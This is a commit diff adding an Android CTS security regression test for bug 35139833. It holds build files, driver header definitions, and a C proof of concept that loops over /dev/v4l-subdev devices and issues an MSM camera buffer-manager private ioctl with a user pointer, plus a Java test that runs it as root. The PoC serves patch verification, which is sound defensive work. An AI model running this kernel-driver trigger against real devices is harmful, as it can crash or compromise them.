CTS/STS test for Android Security b/35139833
Bug: 35139833
Change-Id: I853c60f69bd0f9a8c5f52292cb451e89884f132a
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 6cd1e34..43dbe80 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -97,6 +97,7 @@
<option name="push" value="Bug-34624155->/data/local/tmp/Bug-34624155" />
<option name="push" value="Bug-33299365->/data/local/tmp/Bug-33299365" />
<option name="push" value="Bug-35950805->/data/local/tmp/Bug-35950805" />
+ <option name="push" value="Bug-35139833->/data/local/tmp/Bug-35139833" />
<!--__________________-->
<!-- Bulletin 2017-08 -->
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/Android.mk b/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
new file mode 100644
index 0000000..8865fa9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35139833/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35139833
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h b/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h
new file mode 100644
index 0000000..9ceba3a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35139833/local_poc.h
@@ -0,0 +1,136 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+#ifndef __KILROY_H__
+#define __KILROY_H__
+
+typedef int ion_user_handle_t;
+
+enum ion_heap_ids {
+ INVALID_HEAP_ID = -1,
+ ION_CP_MM_HEAP_ID = 8,
+ ION_CP_MFC_HEAP_ID = 12,
+ ION_CP_WB_HEAP_ID = 16, /* 8660 only */
+ ION_CAMERA_HEAP_ID = 20, /* 8660 only */
+ ION_SYSTEM_CONTIG_HEAP_ID = 21,
+ ION_ADSP_HEAP_ID = 22,
+ ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
+ ION_SF_HEAP_ID = 24,
+ ION_IOMMU_HEAP_ID = 25,
+ ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
+ ION_QSECOM_HEAP_ID = 27,
+ ION_AUDIO_HEAP_ID = 28,
+
+ ION_MM_FIRMWARE_HEAP_ID = 29,
+ ION_SYSTEM_HEAP_ID = 30,
+
+ ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
+};
+
+/**
+ * Flag to use when allocating to indicate that a heap is secure.
+ */
+#define ION_FLAG_SECURE (1 << ION_HEAP_ID_RESERVED)
+
+/**
+ * Flag for clients to force contiguous memort allocation
+ *
+ * Use of this flag is carefully monitored!
+ */
+#define ION_FLAG_FORCE_CONTIGUOUS (1 << 30)
+
+/**
+ * Deprecated! Please use the corresponding ION_FLAG_*
+ */
+#define ION_SECURE ION_FLAG_SECURE
+#define ION_FORCE_CONTIGUOUS ION_FLAG_FORCE_CONTIGUOUS
+
+/**
+ * Macro should be used with ion_heap_ids defined above.
+ */
+#define ION_HEAP(bit) (1 << (bit))
+
+#define ION_IOC_MAGIC 'I'
+
+/**
+ * DOC: ION_IOC_ALLOC - allocate memory
+ *
+ * Takes an ion_allocation_data struct and returns it with the handle field
+ * populated with the opaque handle for the allocation.
+ */
+#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, struct ion_allocation_data)
+
+/**
+ * DOC: ION_IOC_FREE - free memory
+ *
+ * Takes an ion_handle_data struct and frees the handle.
+ */
+#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+
+/**
+ * DOC: ION_IOC_MAP - get a file descriptor to mmap
+ *
+ * Takes an ion_fd_data struct with the handle field populated with a valid
+ * opaque handle. Returns the struct with the fd field set to a file
+ * descriptor open in the current address space. This file descriptor
+ * can then be used as an argument to mmap.
+ */
+#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+
+/**
+ * struct ion_allocation_data - metadata passed from userspace for allocations
+ * @len: size of the allocation
+ * @align: required alignment of the allocation
+ * @heap_id_mask: mask of heap ids to allocate from
+ * @flags: flags passed to heap
+ * @handle: pointer that will be populated with a cookie to use to
+ * refer to this allocation
+ *
+ * Provided by userspace as an argument to the ioctl
+ */
+struct ion_allocation_data {
+ size_t len;
+ size_t align;
+ unsigned int heap_id_mask;
+ unsigned int flags;
+ ion_user_handle_t handle;
+};
+
+/**
+ * struct ion_fd_data - metadata passed to/from userspace for a handle/fd pair
+ * @handle: a handle
+ * @fd: a file descriptor representing that handle
+ *
+ * For ION_IOC_SHARE or ION_IOC_MAP userspace populates the handle field with
+ * the handle returned from ion alloc, and the kernel returns the file
+ * descriptor to share or map in the fd field. For ION_IOC_IMPORT, userspace
+ * provides the file descriptor and the kernel returns the handle.
+ */
+struct ion_fd_data {
+ ion_user_handle_t handle;
+ int fd;
+};
+
+/**
+ * struct ion_handle_data - a handle passed to/from the kernel
+ * @handle: a handle
+ */
+struct ion_handle_data {
+ ion_user_handle_t handle;
+};
+
+#endif /* __KILROY_H__ */
diff --git a/hostsidetests/security/securityPatch/Bug-35139833/poc.c b/hostsidetests/security/securityPatch/Bug-35139833/poc.c
new file mode 100644
index 0000000..4746aaf
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35139833/poc.c
@@ -0,0 +1,432 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/wait.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include "local_poc.h"
+
+#define VIDEO_MAX_PLANES 8
+#define MAX_PLANES VIDEO_MAX_PLANES
+#define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA
+
+enum msm_cpp_batch_mode_t {
+ BATCH_MODE_NONE,
+ BATCH_MODE_VIDEO,
+ BATCH_MODE_PREVIEW
+};
+
+struct msm_cpp_batch_info_t {
+ enum msm_cpp_batch_mode_t batch_mode;
+ uint32_t batch_size;
+ uint32_t intra_plane_offset[MAX_PLANES];
+ uint32_t pick_preview_idx;
+ uint32_t cont_idx;
+};
+
+struct msm_cpp_buffer_info_t {
+ int32_t fd;
+ uint32_t index;
+ uint32_t offset;
+ uint8_t native_buff;
+ uint8_t processed_divert;
+ uint32_t identity;
+};
+
+enum msm_cpp_frame_type {
+ MSM_CPP_OFFLINE_FRAME,
+ MSM_CPP_REALTIME_FRAME,
+};
+
+struct msm_cpp_frame_info_t {
+ int32_t frame_id;
+ struct timeval timestamp;
+ uint32_t inst_id;
+ uint32_t identity;
+ uint32_t client_id;
+ enum msm_cpp_frame_type frame_type;
+ uint32_t num_strips;
+ uint32_t msg_len;
+ uint32_t *cpp_cmd_msg;
+ int src_fd;
+ int dst_fd;
+ struct timeval in_time, out_time;
+ void __user *cookie;
+ int32_t *status;
+ int32_t duplicate_output;
+ uint32_t duplicate_identity;
+ uint32_t feature_mask;
+ uint8_t we_disable;
+ struct msm_cpp_buffer_info_t input_buffer_info;
+ struct msm_cpp_buffer_info_t output_buffer_info[8];
+ struct msm_cpp_buffer_info_t duplicate_buffer_info;
+ struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2];
+ uint32_t reserved;
+ uint8_t partial_frame_indicator;
+ uint8_t first_payload;
+ uint8_t last_payload;
+ uint32_t first_stripe_index;
+ uint32_t last_stripe_index;
+ uint32_t stripe_info_offset;
+ uint32_t stripe_info;
+ struct msm_cpp_batch_info_t batch_info;
+};
+
+struct msm_camera_v4l2_ioctl_t {
+ uint32_t id;
+ size_t len;
+ int32_t trans_code;
+ void __user *ioctl_ptr;
+};
+
+struct msm_cpp_stream_buff_info_t {
+ uint32_t identity;
+ uint32_t num_buffs;
+ struct msm_cpp_buffer_info_t *buffer_info;
+};
+
+#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */
+
+#define VIDIOC_MSM_CPP_CFG \
+ _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_IOMMU_ATTACH \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t)
+
+#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t)
+
+struct v4l2_fract {
+ __u32 numerator;
+ __u32 denominator;
+};
+
+struct v4l2_outputparm {
+ __u32 capability; /* Supported modes */
+ __u32 outputmode; /* Current mode */
+ struct v4l2_fract timeperframe; /* Time per frame in seconds */
+ __u32 extendedmode; /* Driver-specific extensions */
+ __u32 writebuffers; /* # of buffers for write */
+ __u32 reserved[4];
+};
+
+/*
+ * CAPTURE PARAMETERS
+ */
+struct v4l2_captureparm {
+ __u32 capability; /* Supported modes */
+ __u32 capturemode; /* Current mode */
+ struct v4l2_fract timeperframe; /* Time per frame in seconds */
+ __u32 extendedmode; /* Driver-specific extensions */
+ __u32 readbuffers; /* # of buffers for read */
+ __u32 reserved[4];
+};
+
+/* Stream type-dependent parameters
+ */
+struct v4l2_streamparm {
+ __u32 type; /* enum v4l2_buf_type */
+ union {
+ struct v4l2_captureparm capture;
+ struct v4l2_outputparm output;
+ __u8 raw_data[200]; /* user-defined */
+ } parm;
+};
+
+#define VIDIOC_S_PARM _IOWR('V', 22, struct v4l2_streamparm)
+
+#define VIDIOC_STREAMON _IOW('V', 18, int)
+
+struct v4l2_pix_format {
+ __u32 width;
+ __u32 height;
+ __u32 pixelformat;
+ __u32 field; /* enum v4l2_field */
+ __u32 bytesperline; /* for padding, zero if unused */
+ __u32 sizeimage;
+ __u32 colorspace; /* enum v4l2_colorspace */
+ __u32 priv; /* private data, depends on pixelformat */
+ __u32 flags; /* format flags (V4L2_PIX_FMT_FLAG_*) */
+};
+
+struct v4l2_plane_pix_format {
+ __u32 sizeimage;
+ __u16 bytesperline;
+ __u16 reserved[7];
+} __attribute__((packed));
+
+struct v4l2_pix_format_mplane {
+ __u32 width;
+ __u32 height;
+ __u32 pixelformat;
+ __u32 field;
+ __u32 colorspace;
+
+ struct v4l2_plane_pix_format plane_fmt[VIDEO_MAX_PLANES];
+ __u8 num_planes;
+ __u8 flags;
+ __u8 reserved[10];
+} __attribute__((packed));
+
+struct v4l2_rect {
+ __s32 left;
+ __s32 top;
+ __u32 width;
+ __u32 height;
+};
+
+struct v4l2_vbi_format {
+ __u32 sampling_rate; /* in 1 Hz */
+ __u32 offset;
+ __u32 samples_per_line;
+ __u32 sample_format; /* V4L2_PIX_FMT_* */
+ __s32 start[2];
+ __u32 count[2];
+ __u32 flags; /* V4L2_VBI_* */
+ __u32 reserved[2]; /* must be zero */
+};
+
+struct v4l2_sliced_vbi_format {
+ __u16 service_set;
+ __u16 service_lines[2][24];
+ __u32 io_size;
+ __u32 reserved[2]; /* must be zero */
+};
+struct v4l2_sdr_format {
+ __u32 pixelformat;
+ __u32 buffersize;
+ __u8 reserved[24];
+} __attribute__((packed));
+
+struct v4l2_clip {
+ struct v4l2_rect c;
+ struct v4l2_clip __user *next;
+};
+
+struct v4l2_window {
+ struct v4l2_rect w;
+ __u32 field; /* enum v4l2_field */
+ __u32 chromakey;
+ struct v4l2_clip __user *clips;
+ __u32 clipcount;
+ void __user *bitmap;
+ __u8 global_alpha;
+};
+
+struct v4l2_format {
+ __u32 type;
+ union {
+ struct v4l2_pix_format pix; /* V4L2_BUF_TYPE_VIDEO_CAPTURE */
+ struct v4l2_pix_format_mplane
+ pix_mp; /* V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE */
+ struct v4l2_window win; /* V4L2_BUF_TYPE_VIDEO_OVERLAY */
+ struct v4l2_vbi_format vbi; /* V4L2_BUF_TYPE_VBI_CAPTURE */
+ struct v4l2_sliced_vbi_format sliced; /* V4L2_BUF_TYPE_SLICED_VBI_CAPTURE */
+ struct v4l2_sdr_format sdr; /* V4L2_BUF_TYPE_SDR_CAPTURE */
+ __u8 raw_data[200]; /* user-defined */
+ } fmt;
+};
+
+enum v4l2_buf_type {
+ V4L2_BUF_TYPE_VIDEO_CAPTURE = 1,
+ V4L2_BUF_TYPE_VIDEO_OUTPUT = 2,
+ V4L2_BUF_TYPE_VIDEO_OVERLAY = 3,
+ V4L2_BUF_TYPE_VBI_CAPTURE = 4,
+ V4L2_BUF_TYPE_VBI_OUTPUT = 5,
+ V4L2_BUF_TYPE_SLICED_VBI_CAPTURE = 6,
+ V4L2_BUF_TYPE_SLICED_VBI_OUTPUT = 7,
+#if 1
+ /* Experimental */
+ V4L2_BUF_TYPE_VIDEO_OUTPUT_OVERLAY = 8,
+#endif
+ V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE = 9,
+ V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE = 10,
+ V4L2_BUF_TYPE_SDR_CAPTURE = 11,
+ /* Deprecated, do not use */
+ V4L2_BUF_TYPE_PRIVATE = 0x80,
+};
+
+/* map to v4l2_format.fmt.raw_data */
+struct msm_v4l2_format_data {
+ enum v4l2_buf_type type;
+ unsigned int width;
+ unsigned int height;
+ unsigned int pixelformat; /* FOURCC */
+ unsigned char num_planes;
+ unsigned int plane_sizes[VIDEO_MAX_PLANES];
+};
+
+#define VIDIOC_S_FMT _IOWR('V', 5, struct v4l2_format)
+
+struct v4l2_timecode {
+ __u32 type;
+ __u32 flags;
+ __u8 frames;
+ __u8 seconds;
+ __u8 minutes;
+ __u8 hours;
+ __u8 userbits[4];
+};
+
+struct v4l2_plane {
+ __u32 bytesused;
+ __u32 length;
+ union {
+ __u32 mem_offset;
+ unsigned long userptr;
+ __s32 fd;
+ } m;
+ __u32 data_offset;
+ __u32 reserved[11];
+};
+
+struct v4l2_buffer {
+ __u32 index;
+ __u32 type;
+ __u32 bytesused;
+ __u32 flags;
+ __u32 field;
+ struct timeval timestamp;
+ struct v4l2_timecode timecode;
+ __u32 sequence;
+
+ /* memory location */
+ __u32 memory;
+ union {
+ __u32 offset;
+ unsigned long userptr;
+ struct v4l2_plane *planes;
+ __s32 fd;
+ } m;
+ __u32 length;
+ __u32 reserved2;
+ __u32 reserved;
+};
+
+#define VIDIOC_QBUF _IOWR('V', 15, struct v4l2_buffer)
+
+/*
+ * MEMORY-MAPPING BUFFERS
+ */
+struct v4l2_requestbuffers {
+ __u32 count;
+ __u32 type; /* enum v4l2_buf_type */
+ __u32 memory; /* enum v4l2_memory */
+ __u32 reserved[2];
+};
+
+#define VIDIOC_REQBUFS _IOWR('V', 8, struct v4l2_requestbuffers)
+
+enum msm_camera_buf_mngr_cmd {
+ MSM_CAMERA_BUF_MNGR_CONT_MAP,
+ MSM_CAMERA_BUF_MNGR_CONT_UNMAP,
+ MSM_CAMERA_BUF_MNGR_CONT_MAX,
+};
+
+struct msm_buf_mngr_main_cont_info {
+ uint32_t session_id;
+ uint32_t stream_id;
+ enum msm_camera_buf_mngr_cmd cmd;
+ uint32_t cnt;
+ int32_t cont_fd;
+};
+
+#define MSM_CAMERA_MAX_USER_BUFF_CNT 16
+
+struct msm_camera_user_buf_cont_t {
+ unsigned int buf_cnt;
+ unsigned int buf_idx[MSM_CAMERA_MAX_USER_BUFF_CNT];
+};
+
+enum msm_camera_buf_mngr_buf_type {
+ MSM_CAMERA_BUF_MNGR_BUF_PLANAR,
+ MSM_CAMERA_BUF_MNGR_BUF_USER,
+ MSM_CAMERA_BUF_MNGR_BUF_INVALID,
+};
+
+struct msm_buf_mngr_info {
+ uint32_t session_id;
+ uint32_t stream_id;
+ uint32_t frame_id;
+ struct timeval timestamp;
+ uint32_t index;
+ uint32_t reserved;
+ enum msm_camera_buf_mngr_buf_type type;
+ struct msm_camera_user_buf_cont_t user_buf;
+};
+
+#define VIDIOC_MSM_BUF_MNGR_CONT_CMD \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 36, struct msm_buf_mngr_main_cont_info)
+#define VIDIOC_MSM_BUF_MNGR_GET_BUF \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 33, struct msm_buf_mngr_info)
+
+struct msm_camera_private_ioctl_arg {
+ __u32 id;
+ __u32 size;
+ __u32 result;
+ __u32 reserved;
+ __user __u64 ioctl_ptr;
+};
+
+#define VIDIOC_MSM_BUF_MNGR_IOCTL_CMD \
+ _IOWR('V', BASE_VIDIOC_PRIVATE + 40, struct msm_camera_private_ioctl_arg)
+
+#define MSM_CAMERA_BUF_MNGR_IOCTL_ID_GET_BUF_BY_IDX 1
+
+int main(void) {
+ int fd, ret = 0;
+ struct msm_camera_private_ioctl_arg arg;
+ struct msm_buf_mngr_info info;
+ int cmd;
+ char subdev[32] = {0};
+
+ for (int i = 0; i < 32; i++) {
+ if (snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i) < 0) {
+ exit(EXIT_FAILURE);
+ }
+
+ fd = open(subdev, O_RDWR);
+ if (fd == -1) {
+ close(fd);
+ continue;
+ }
+
+ memset(&arg, 0, sizeof(arg));
+ memset(&info, 0, sizeof(info));
+ info.session_id = 2;
+ info.stream_id = 0;
+ info.index = 0;
+ arg.id = MSM_CAMERA_BUF_MNGR_IOCTL_ID_GET_BUF_BY_IDX;
+ arg.size = sizeof(struct msm_buf_mngr_info);
+ arg.ioctl_ptr = (__u64)&info;
+ cmd = VIDIOC_MSM_BUF_MNGR_IOCTL_CMD;
+ ret = ioctl(fd, cmd, &arg);
+
+ close(fd);
+ }
+ return 0;
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_07.java b/hostsidetests/security/src/android/security/cts/Poc17_07.java
index dc2ea515..936eb01 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_07.java
@@ -117,4 +117,15 @@
AdbUtils.runPocNoOutput("Bug-35950805", getDevice(), 60);
}
}
+
+ /**
+ * b/35139833
+ */
+ @SecurityTest
+ public void testPocBug_35139833() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/v4l-subdev*")) {
+ AdbUtils.runPocNoOutput("Bug-35139833", getDevice(), 60);
+ }
+ }
}
